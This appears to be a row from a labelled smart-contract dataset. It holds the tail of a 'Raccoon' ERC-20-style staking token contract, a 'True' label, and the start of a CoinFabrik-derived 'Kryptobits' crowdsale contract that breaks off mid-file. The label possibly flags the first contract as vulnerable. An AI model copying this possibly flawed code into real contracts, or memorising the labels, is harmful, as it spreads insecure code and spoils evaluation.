string private symbol_;
uint private decimals_;
uint private totalSupply_;
uint private maxSupply_;
uint private mintPrice;
uint private mintCounter;
uint private verificationFee;
uint private transactionFeeCap;
uint private transactionFeePaid;
uint private iteration;
address payable private owner;
address private utility;
mapping(address => ProfileData) private profiles;
mapping(uint => PoolData) private pools;
event Transfer(address indexed sender, address indexed recipient, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Verification(address indexed user);
event Mint(address indexed user, uint valueETH, uint valueRAC);
event Fee(address indexed user, uint iteration, uint value);
event Gate(address indexed user, uint iteration, string status);
event Traffic(address indexed user, uint iteration, string status);
event Reward(address indexed user, uint iteration, uint locked, uint reward);
constructor()
{
name_ = "Raccoon";
symbol_ = "RAC";
decimals_ = 18;
maxSupply_ = 8000000000 * 10 ** decimals_;
totalSupply_ = maxSupply_ * 75 / 100;
verificationFee = 3000 * 10 ** decimals_;
transactionFeeCap = 20000000 * 10 ** decimals_;
mintPrice = 0.000003333333333 ether;
owner = payable(address(0xC908d58587Bfee67B07b6B41229529E79cE605Ca));
utility = address(0xC5C24a2383Bf5199D1e6E6225C21cC379e362BE5);
profiles[owner].balance = maxSupply_ * 15 / 100;
profiles[utility].balance = maxSupply_ * 60 / 100;
emit Transfer(address(0), owner, profiles[owner].balance);
emit Transfer(address(0), utility, profiles[utility].balance);
openPool();
}
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier onlyVerified
{
require(profiles[msg.sender].verified);
_;
}
function name() external view returns (string memory)
{
return name_;
}
function symbol() external view returns (string memory)
{
return symbol_;
}
function decimals() external view returns (uint)
{
return decimals_;
}
function totalSupply() external view returns (uint)
{
return totalSupply_;
}
function maxSupply() external view returns (uint)
{
return maxSupply_;
}
function balanceOf(address _owner) external view returns (uint)
{
return profiles[_owner].balance;
}
function allowance(address _owner, address _spender) external view returns (uint)
{
return profiles[_owner].allowance[_spender];
}
function cycle() external view returns (uint)
{
return iteration;
}
function mintsCounter() external view returns (uint)
{
return mintCounter;
}
function isVerified(address _owner) external view returns (bool)
{
return profiles[_owner].verified;
}
function pool(uint _iteration) external view returns (PoolData memory)
{
require(validIteration(_iteration));
return pools[_iteration];
}
function isPoolInitialized(uint _iteration) public view returns (bool)
{
require(validIteration(_iteration));
return pools[_iteration].opened > 0;
}
function isPoolGatesOpen(uint _iteration) public view returns (bool)
{
require(validIteration(_iteration));
return pools[_iteration].deadlineGate >= block.timestamp ? true : false;
}
function isPoolRunning(uint _iteration) public view returns (bool)
{
require(validIteration(_iteration));
return pools[_iteration].deadline >= block.timestamp ? true : false;
}
function poolJoined(address _owner) external view returns (uint itr, uint lkd)
{
require(_owner != address(0));
return (profiles[_owner].iteration, profiles[_owner].locked);
}
function approve(address _spender, uint _value) external returns (bool)
{
require(_spender != address(0));
profiles[msg.sender].allowance[_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transfering(address _from, address _to, uint _value) private
{
profiles[_from].balance -= _value;
profiles[_to].balance += _value;
emit Transfer(_from, _to, _value);
transferingFee(_from, _value);
}
function transfer(address _to, uint _value) external returns (bool success)
{
require(_to != address(0));
require(_to != msg.sender);
require(_value <= profiles[msg.sender].balance);
transfering(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) external returns (bool success)
{
require(_to != address(0));
require(_to != _from);
require(_value <= profiles[_from].balance);
require(_value <= profiles[_from].allowance[msg.sender]);
profiles[_from].allowance[msg.sender] -= _value;
transfering(_from, _to, _value);
return true;
}
function transferingFee(address _from, uint _value) private
{
if (profiles[_from].feeableTimestamp + 1 hours <= block.timestamp)
{
if (transactionFeePaid < transactionFeeCap)
{
profiles[_from].feeableTimestamp = block.timestamp;
uint fee = _value >= 100 ? (_value / 100) : 0;
uint pay = transactionFeePaid + fee <= transactionFeeCap ? fee : transactionFeeCap - transactionFeePaid;
if (pay <= profiles[utility].balance)
{
profiles[utility].balance -= pay;
pools[iteration].volume += pay;
emit Fee(utility, iteration, pay);
}
}
}
}
function mint() payable external returns (bool success)
{
uint amount = 10 ** decimals_ * msg.value / mintPrice;
amount = mintCounter <= 1618 ? amount * 115 / 100 : amount;
require(amount + totalSupply_ <= maxSupply_);
profiles[msg.sender].balance += amount;
totalSupply_ += amount;
mintCounter++;
emit Mint(msg.sender, msg.value, amount);
return true;
}
function verify() external returns (bool)
{
require(!profiles[msg.sender].verified);
require(profiles[msg.sender].balance >= verificationFee);
profiles[msg.sender].balance -= verificationFee;
profiles[msg.sender].verified = true;
pools[iteration].volume += verificationFee;
emit Verification(msg.sender);
return true;
}
function managePool() external returns (bool)
{
require(isPoolInitialized(iteration));
require(!isPoolRunning(iteration));
closePool();
openPool();
return true;
}
function openPool() private
{
pools[iteration].opened = block.timestamp;
pools[iteration].deadlineGate = block.timestamp + 8 hours;
pools[iteration].deadline = block.timestamp + 7 days;
transactionFeePaid = 0;
emit Gate(msg.sender, iteration, "open");
}
function closePool() private
{
emit Gate(msg.sender, iteration, "close");
iteration++;
}
function joinPool(uint _stake) onlyVerified external returns (bool)
{
require(isPoolGatesOpen(iteration));
require(_stake > 0);
require(profiles[msg.sender].participated == false);
require(profiles[msg.sender].balance >= _stake);
profiles[msg.sender].balance -= _stake;
profiles[msg.sender].participated = true;
profiles[msg.sender].iteration = iteration;
profiles[msg.sender].locked = _stake;
pools[iteration].locked += _stake;
emit Traffic(msg.sender, iteration, "joined");
return true;
}
function leavePool() onlyVerified external returns (bool)
{
require(isPoolGatesOpen(iteration));
uint index = profiles[msg.sender].iteration;
uint locked = profiles[msg.sender].locked;
require(index == iteration);
profiles[msg.sender].locked = 0;
profiles[msg.sender].iteration = 0;
profiles[msg.sender].participated = false;
profiles[msg.sender].balance += locked;
pools[index].locked -= locked;
emit Traffic(msg.sender, index, "left");
return true;
}
function claimReward() onlyVerified external returns (uint itr, uint lkd, uint rwd)
{
itr = profiles[msg.sender].iteration;
require(profiles[msg.sender].participated);
require(isPoolInitialized(itr));
require(!isPoolRunning(itr));
lkd = profiles[msg.sender].locked;
rwd = pools[itr].volume * lkd / pools[itr].locked;
profiles[msg.sender].locked = 0;
profiles[msg.sender].iteration = 0;
profiles[msg.sender].participated = false;
profiles[msg.sender].balance += lkd + rwd;
emit Reward(msg.sender, itr, lkd, rwd);
emit Traffic(msg.sender, itr, "left");
return (itr, lkd, rwd);
}
function validIteration(uint _iteration) private view returns (bool)
{
require(_iteration <= iteration);
return true;
}
function withdraw() external onlyOwner
{
owner.transfer(address(this).balance);
}
} | True | [
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pragma solidity ^0.4.24;
/**
* Authored by https://www.coinfabrik.com/
*/
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/TokenMarketNet/ico
* Modified by https://www.coinfabrik.com/
*/
pragma solidity ^0.4.24;
/**
* Envisioned in FirstBlood ICO contract.
* Originally from https://github.com/TokenMarketNet/ico
* Modified by https://www.coinfabrik.com/
*/
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/OpenZeppelin/zeppelin-solidity
* Modified by https://www.coinfabrik.com/
*/
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* Abstract contract that allows children to implement an
* emergency stop mechanism. Differs from Pausable by causing a throw when in halt mode.
*
*/
contract Haltable is Ownable {
bool public halted;
event Halted(bool halted);
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner {
halted = true;
emit Halted(true);
}
// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
emit Halted(false);
}
}
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/OpenZeppelin/zeppelin-solidity
* Modified by https://www.coinfabrik.com/
*/
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min256(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/TokenMarketNet/ico
* Modified by https://www.coinfabrik.com/
*/
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/TokenMarketNet/ico
* Modified by https://www.coinfabrik.com/
*/
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/OpenZeppelin/zeppelin-solidity
* Modified by https://www.coinfabrik.com/
*/
pragma solidity ^0.4.24;
/**
* Interface for the standard token.
* Based on https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract EIP20Token {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function allowance(address owner, address spender) public view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
** Optional functions
*
function name() public view returns (string name);
function symbol() public view returns (string symbol);
function decimals() public view returns (uint8 decimals);
*
**/
}
pragma solidity ^0.4.24;
// Interface for burning tokens
contract Burnable {
// @dev Destroys tokens for an account
// @param account Account whose tokens are destroyed
// @param value Amount of tokens to destroy
function burnTokens(address account, uint value) internal;
event Burned(address account, uint value);
}
pragma solidity ^0.4.24;
/**
* Authored by https://www.coinfabrik.com/
*/
/**
* Internal interface for the minting of tokens.
*/
contract Mintable {
/**
* @dev Mints tokens for an account
* This function should the Minted event.
*/
function mintInternal(address receiver, uint amount) internal;
/** Token supply got increased and a new owner received these tokens */
event Minted(address receiver, uint amount);
}
/**
* @title Standard token
* @dev Basic implementation of the EIP20 standard token (also known as ERC20 token).
*/
contract StandardToken is EIP20Token, Burnable, Mintable {
using SafeMath for uint;
uint private total_supply;
mapping(address => uint) private balances;
mapping(address => mapping (address => uint)) private allowed;
function totalSupply() public view returns (uint) {
return total_supply;
}
/**
* @dev transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint value) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param account The address whose balance is to be queried.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address account) public view returns (uint balance) {
return balances[account];
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint the amout of tokens to be transfered
*/
function transferFrom(address from, address to, uint value) public returns (bool success) {
uint allowance = allowed[from][msg.sender];
// Check is not needed because sub(allowance, value) will already throw if this condition is not met
// require(value <= allowance);
// SafeMath uses assert instead of require though, beware when using an analysis tool
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowance.sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint value) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses'
// allowance to zero by calling `approve(spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require (value == 0 || allowed[msg.sender][spender] == 0);
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param account address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint specifing the amount of tokens still avaible for the spender.
*/
function allowance(address account, address spender) public view returns (uint remaining) {
return allowed[account][spender];
}
/**
* Atomic increment of approved spending
*
* Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
*/
function addApproval(address spender, uint addedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][spender];
allowed[msg.sender][spender] = oldValue.add(addedValue);
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
/**
* Atomic decrement of approved spending.
*
* Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*/
function subApproval(address spender, uint subtractedValue) public returns (bool success) {
uint oldVal = allowed[msg.sender][spender];
if (subtractedValue > oldVal) {
allowed[msg.sender][spender] = 0;
} else {
allowed[msg.sender][spender] = oldVal.sub(subtractedValue);
}
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
/**
* @dev Provides an internal function for destroying tokens. Useful for upgrades.
*/
function burnTokens(address account, uint value) internal {
balances[account] = balances[account].sub(value);
total_supply = total_supply.sub(value);
emit Transfer(account, 0, value);
emit Burned(account, value);
}
/**
* @dev Provides an internal minting function.
*/
function mintInternal(address receiver, uint amount) internal {
total_supply = total_supply.add(amount);
balances[receiver] = balances[receiver].add(amount);
emit Minted(receiver, amount);
// Beware: Address zero may be used for special transactions in a future fork.
// This will make the mint transaction appear in EtherScan.io
// We can remove this after there is a standardized minting event
emit Transfer(0, receiver, amount);
}
}
/**
* Define interface for releasing the token transfer after a successful crowdsale.
*/
contract ReleasableToken is StandardToken, Ownable {
/* The finalizer contract that allows lifting the transfer limits on this token */
address public releaseAgent;
/** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false;
/** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
/**
* Set the contract that can call release and make the token transferable.
*
* Since the owner of this contract is (or should be) the crowdsale,
* it can only be called by a corresponding exposed API in the crowdsale contract in case of input error.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
// We don't do interface check here as we might want to have a normal wallet address to act as a release agent.
releaseAgent = addr;
}
/**
* Owner can allow a particular address (e.g. a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
/**
* One way function to release the tokens into the wild.
*
* Can be called only from the release agent that should typically be the finalize agent ICO contract.
* In the scope of the crowdsale, it is only called if the crowdsale has been a success (first milestone reached).
*/
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
/**
* Limit token transfer until the crowdsale is over.
*/
modifier canTransfer(address sender) {
require(released || transferAgents[sender]);
_;
}
/** The function can be called only before or after the tokens have been released */
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
/** We restrict transfer by overriding it */
function transfer(address to, uint value) public canTransfer(msg.sender) returns (bool success) {
// Call StandardToken.transfer()
return super.transfer(to, value);
}
/** We restrict transferFrom by overriding it */
function transferFrom(address from, address to, uint value) public canTransfer(from) returns (bool success) {
// Call StandardToken.transferForm()
return super.transferFrom(from, to, value);
}
}
pragma solidity ^0.4.24;
/**
* First envisioned by Golem and Lunyr projects.
* Originally from https://github.com/TokenMarketNet/ico
* Modified by https://www.coinfabrik.com/
*/
pragma solidity ^0.4.24;
/**
* Inspired by Lunyr.
* Originally from https://github.com/TokenMarketNet/ico
*/
/**
* Upgrade agent transfers tokens to a new contract.
* Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting.
*
* The Upgrade agent is the interface used to implement a token
* migration in the case of an emergency.
* The function upgradeFrom has to implement the part of the creation
* of new tokens on behalf of the user doing the upgrade.
*
* The new token can implement this interface directly, or use.
*/
contract UpgradeAgent {
/** This value should be the same as the original token's total supply */
uint public originalSupply;
/** Interface to ensure the contract is correctly configured */
function isUpgradeAgent() public pure returns (bool) {
return true;
}
/**
Upgrade an account
When the token contract is in the upgrade status the each user will
have to call `upgrade(value)` function from UpgradeableToken.
The upgrade function adjust the balance of the user and the supply
of the previous token and then call `upgradeFrom(value)`.
The UpgradeAgent is the responsible to create the tokens for the user
in the new contract.
* @param from Account to upgrade.
* @param value Tokens to upgrade.
*/
function upgradeFrom(address from, uint value) public;
}
/**
* A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision.
*
*/
contract UpgradeableToken is EIP20Token, Burnable {
using SafeMath for uint;
/** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */
address public upgradeMaster;
/** The next contract where the tokens will be migrated. */
UpgradeAgent public upgradeAgent;
/** How many tokens we have upgraded by now. */
uint public totalUpgraded = 0;
/**
* Upgrade states.
*
* - NotAllowed: The child contract has not reached a condition where the upgrade can begin
* - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet
* - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet. This allows changing the upgrade agent while there is time.
* - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens
*
*/
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
/**
* Somebody has upgraded some of his tokens.
*/
event Upgrade(address indexed from, address to, uint value);
/**
* New upgrade agent available.
*/
event UpgradeAgentSet(address agent);
/**
* Do not allow construction without upgrade master set.
*/
constructor(address master) internal {
setUpgradeMaster(master);
}
/**
* Allow the token holder to upgrade some of their tokens to a new contract.
*/
function upgrade(uint value) public {
UpgradeState state = getUpgradeState();
// Ensure it's not called in a bad state
require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading);
// Validate input value.
require(value != 0);
// Upgrade agent reissues the tokens
upgradeAgent.upgradeFrom(msg.sender, value);
// Take tokens out from circulation
burnTokens(msg.sender, value);
totalUpgraded = totalUpgraded.add(value);
emit Upgrade(msg.sender, upgradeAgent, value);
}
/**
* Set an upgrade agent that handles the upgrade process
*/
function setUpgradeAgent(address agent) onlyMaster external {
// Check whether the token is in a state that we could think of upgrading
require(canUpgrade());
require(agent != 0x0);
// Upgrade has already begun for an agent
require(getUpgradeState() != UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
// Bad interface
require(upgradeAgent.isUpgradeAgent());
// Make sure that token supplies match in source and target
require(upgradeAgent.originalSupply() == totalSupply());
emit UpgradeAgentSet(upgradeAgent);
}
/**
* Get the state of the token upgrade.
*/
function getUpgradeState() public view returns(UpgradeState) {
if (!canUpgrade()) return UpgradeState.NotAllowed;
else if (address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if (totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
/**
* Change the upgrade master.
*
* This allows us to set a new owner for the upgrade mechanism.
*/
function changeUpgradeMaster(address new_master) onlyMaster public {
setUpgradeMaster(new_master);
}
/**
* Internal upgrade master setter.
*/
function setUpgradeMaster(address new_master) private {
require(new_master != 0x0);
upgradeMaster = new_master;
}
/**
* Child contract can override to provide the condition in which the upgrade can begin.
*/
function canUpgrade() public view returns(bool) {
return true;
}
modifier onlyMaster() {
require(msg.sender == upgradeMaster);
_;
}
}
pragma solidity ^0.4.24;
/**
* Authored by https://www.coinfabrik.com/
*/
// This contract aims to provide an inheritable way to recover tokens from a contract not meant to hold tokens
// To use this contract, have your token-ignoring contract inherit this one and implement getLostAndFoundMaster to decide who can move lost tokens.
// Of course, this contract imposes support costs upon whoever is the lost and found master.
contract LostAndFoundToken {
/**
* @return Address of the account that handles movements.
*/
function getLostAndFoundMaster() internal view returns (address);
/**
* @param agent Address that will be able to move tokens with transferFrom
* @param tokens Amount of tokens approved for transfer
* @param token_contract Contract of the token
*/
function enableLostAndFound(address agent, uint tokens, EIP20Token token_contract) public {
require(msg.sender == getLostAndFoundMaster());
// We use approve instead of transfer to minimize the possibility of the lost and found master
// getting them stuck in another address by accident.
token_contract.approve(agent, tokens);
}
}
pragma solidity ^0.4.24;
/**
* Originally from https://github.com/TokenMarketNet/ico
* Modified by https://www.coinfabrik.com/
*/
/**
* A public interface to increase the supply of a token.
*
* This allows uncapped crowdsale by dynamically increasing the supply when money pours in.
* Only mint agents, usually contracts whitelisted by the owner, can mint new tokens.
*
*/
contract MintableToken is Mintable, Ownable {
using SafeMath for uint;
bool public mintingFinished = false;
/** List of agents that are allowed to create new tokens */
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
constructor(uint initialSupply, address multisig, bool mintable) internal {
require(multisig != address(0));
// Cannot create a token without supply and no minting
require(mintable || initialSupply != 0);
// Create initially all balance on the team multisig
if (initialSupply > 0)
mintInternal(multisig, initialSupply);
// No more new supply allowed after the token creation
mintingFinished = !mintable;
}
/**
* Create new tokens and allocate them to an address.
*
* Only callable by a mint agent (e.g. crowdsale contract).
*/
function mint(address receiver, uint amount) onlyMintAgent canMint public {
mintInternal(receiver, amount);
}
/**
* Owner can allow a crowdsale contract to mint new tokens.
*/
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
emit MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
// Only mint agents are allowed to mint new tokens
require(mintAgents[msg.sender]);
_;
}
/** Make sure we are not done yet. */
modifier canMint() {
require(!mintingFinished);
_;
}
}
/**
* A crowdsale token.
*
* An ERC-20 token designed specifically for crowdsales with investor protection and further development path.
*
* - The token transfer() is disabled until the crowdsale is over
* - The token contract gives an opt-in upgrade path to a new contract
* - The same token can be part of several crowdsales through the approve() mechanism
* - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens)
* - ERC20 tokens transferred to this contract can be recovered by a lost and found master
*
*/
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken, LostAndFoundToken {
string public name = "Kryptobits";
string public symbol = "KBE";
uint8 public decimals;
address public lost_and_found_master;
/**
* Construct the token.
*
* This token must be created through a team multisig wallet, so that it is owned by that wallet.
*
* @param initial_supply How many tokens we start with.
* @param token_decimals Number of decimal places.
* @param team_multisig Address of the multisig that receives the initial supply and is set as the upgrade master.
* @param token_retriever Address of the account that handles ERC20 tokens that were accidentally sent to this contract.
*/
constructor(uint initial_supply, uint8 token_decimals, address team_multisig, address token_retriever) public
UpgradeableToken(team_multisig) MintableToken(initial_supply, team_multisig, true) {
require(token_retriever != address(0));
decimals = token_decimals;
lost_and_found_master = token_retriever;
}
/**
* When token is released to be transferable, prohibit new token creation.
*/
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
/**
* Allow upgrade agent functionality to kick in only if the crowdsale was a success.
*/
function canUpgrade() public view returns(bool) {
return released && super.canUpgrade();
}
function burn(uint value) public {
burnTokens(msg.sender, value);
}
function getLostAndFoundMaster() internal view returns(address) {
return lost_and_found_master;
}
}
/**
* Abstract base contract for token sales.
*
* Handles
* - start and end dates
* - accepting investments
* - various statistics during the crowdfund
* - different investment policies (require server side customer id, allow only whitelisted addresses)
*
*/
contract GenericCrowdsale is Haltable {
using SafeMath for uint;
/* The token we are selling */
CrowdsaleToken public token;
/* ether will be transferred to this address */
address public multisigWallet;
/* the starting timestamp of the crowdsale */
uint public startsAt;
/* the ending timestamp of the crowdsale */
uint public endsAt;
/* the number of tokens already sold through this contract*/
uint public tokensSold = 0;
/* How many wei of funding we have raised */
uint public weiRaised = 0;
/* How many distinct addresses have invested */
uint public investorCount = 0;
/* Has this crowdsale been finalized */
bool public finalized = false;
/* Do we need to have a unique contributor id for each customer */
bool public requireCustomerId = false;
/* Has this crowdsale been configured */
bool public configured = false;
/**
* Do we verify that contributor has been cleared on the server side (accredited investors only).
* This method was first used in the FirstBlood crowdsale to ensure all contributors had accepted terms of sale (on the web).
*/
bool public requiredSignedAddress = false;
/** Server side address that signed allowed contributors (Ethereum addresses) that can participate the crowdsale */
address public signerAddress;
/** How many ETH each address has invested in this crowdsale */
mapping (address => uint) public investedAmountOf;
/** How many tokens this crowdsale has credited for each investor address */
mapping (address => uint) public tokenAmountOf;
/** Addresses that are allowed to invest even before ICO officially opens. For testing, for ICO partners, etc. */
mapping (address => bool) public earlyParticipantWhitelist;
/** State machine
*
* - PendingConfiguration: Crowdsale not yet configured
* - Prefunding: We have not reached the starting timestamp yet
* - Funding: Active crowdsale
* - Success: Crowdsale ended
* - Finalized: The finalize function has been called and successfully executed
*/
enum State{Unknown, PendingConfiguration, PreFunding, Funding, Success, Finalized}
// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
// The rules about what kind of investments we accept were changed
event InvestmentPolicyChanged(bool requireCId, bool requireSignedAddress, address signer);
// Address early participation whitelist status changed
event Whitelisted(address addr, bool status);
// Crowdsale's finalize function has been called
event Finalized();
/*
* The configuration from the constructor was moved to the configurationGenericCrowdsale function.
*
* @param team_multisig Address of the multisignature wallet of the team that will receive all the funds contributed in the crowdsale.
* @param start Timestamp where the crowdsale will be officially started. It should be greater than the timestamp in which the contract is deployed.
* @param end Timestamp where the crowdsale finishes. No tokens can be sold through this contract after this timestamp.
*
* configurationGenericCrowdsale can only be called when in State.PendingConfiguration because of the inState modifier.
*/
function configurationGenericCrowdsale(address team_multisig, uint start, uint end) internal inState(State.PendingConfiguration) {
setMultisig(team_multisig);
// Don't mess the dates
require(start != 0 && end != 0);
require(now < start && start < end);
startsAt = start;
endsAt = end;
configured = true;
}
/**
* Default fallback behaviour is to call buy.
* Ideally, no contract calls this crowdsale without supporting ERC20.
* However, some sort of refunding function may be desired to cover such situations.
*/
function() payable public {
buy();
}
/**
* Make an investment.
*
* The crowdsale must be running for one to invest.
* We must have not pressed the emergency brake.
*
* @param receiver The Ethereum address who receives the tokens
* @param customerId (optional) UUID v4 to track the successful payments on the server side
*
*/
function investInternal(address receiver, uint128 customerId) stopInEmergency notFinished private {
// Determine if it's a good time to accept investment from this participant
if (getState() == State.PreFunding) {
// Are we whitelisted for early deposit
require(earlyParticipantWhitelist[msg.sender]);
}
uint weiAmount;
uint tokenAmount;
(weiAmount, tokenAmount) = calculateTokenAmount(msg.value, receiver);
// Sanity check against bad implementation.
assert(weiAmount <= msg.value);
// Dust transaction if no tokens can be given
require(tokenAmount != 0);
if (investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
updateInvestorFunds(tokenAmount, weiAmount, receiver, customerId);
// Pocket the money
multisigWallet.transfer(weiAmount);
// Return excess of money
returnExcedent(msg.value.sub(weiAmount), msg.sender);
}
/**
* Preallocate tokens for the early investors.
*
* Preallocated tokens have been sold before the actual crowdsale opens.
* This function mints the tokens and moves the crowdsale needle.
*
* No money is exchanged, as the crowdsale team already have received the payment.
*
* @param receiver Account that receives the tokens.
* @param fullTokens tokens as full tokens - decimal places are added internally.
* @param weiPrice Price of a single indivisible token in wei.
*
*/
function preallocate(address receiver, uint fullTokens, uint weiPrice) external onlyOwner notFinished {
uint tokenAmount = fullTokens.mul(10**uint(token.decimals()));
// weiAmount can also be 0, in which case weiRaised is not increased.
uint weiAmount = weiPrice.mul(tokenAmount);
granularPreallocate(receiver, tokenAmount, weiAmount);
}
/**
* Preallocate tokens for the early investors.
*
* Preallocated tokens have been sold before the actual crowdsale opens.
* This function mints the tokens and moves the crowdsale needle.
*
* No money is exchanged, as the crowdsale team already have received the payment.
*
* @param receiver Account that receives the tokens.
* @param tokenAmount Indivisible tokens.
* @param weiAmount Equivalent of tokens in wei.
*
*/
function granularPreallocate(address receiver, uint tokenAmount, uint weiAmount) public onlyOwner notFinished {
require(receiver != address(0));
require(tokenAmount != 0);
updateInvestorFunds(tokenAmount, weiAmount, receiver , 0);
}
/**
* Private function to update accounting in the crowdsale.
*/
function updateInvestorFunds(uint tokenAmount, uint weiAmount, address receiver, uint128 customerId) private {
// Update investor
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
// Update totals
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
assignTokens(receiver, tokenAmount);
// Tell us that the investment was completed successfully
emit Invested(receiver, weiAmount, tokenAmount, customerId);
}
/**
* Investing function that recognizes the receiver and verifies he is allowed to invest.
*
* @param customerId UUIDv4 that identifies this contributor
*/
function buyOnBehalfWithSignedAddress(address receiver, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable validCustomerId(customerId) {
bytes32 hash = sha256(receiver);
require(ecrecover(hash, v, r, s) == signerAddress);
investInternal(receiver, customerId);
}
/**
* Investing function that recognizes the receiver.
*
* @param customerId UUIDv4 that identifies this contributor
*/
function buyOnBehalfWithCustomerId(address receiver, uint128 customerId) public payable validCustomerId(customerId) unsignedBuyAllowed {
investInternal(receiver, customerId);
}
/**
* Buys tokens on behalf of an address.
*
* Pay for funding, get invested tokens back in the receiver address.
*/
function buyOnBehalf(address receiver) public payable unsignedBuyAllowed {
require(!requireCustomerId); // Crowdsale needs to track participants for thank you email
investInternal(receiver, 0);
}
/**
* Investing function that recognizes the payer and verifies he is allowed to invest.
*
* @param customerId UUIDv4 that identifies this contributor
*/
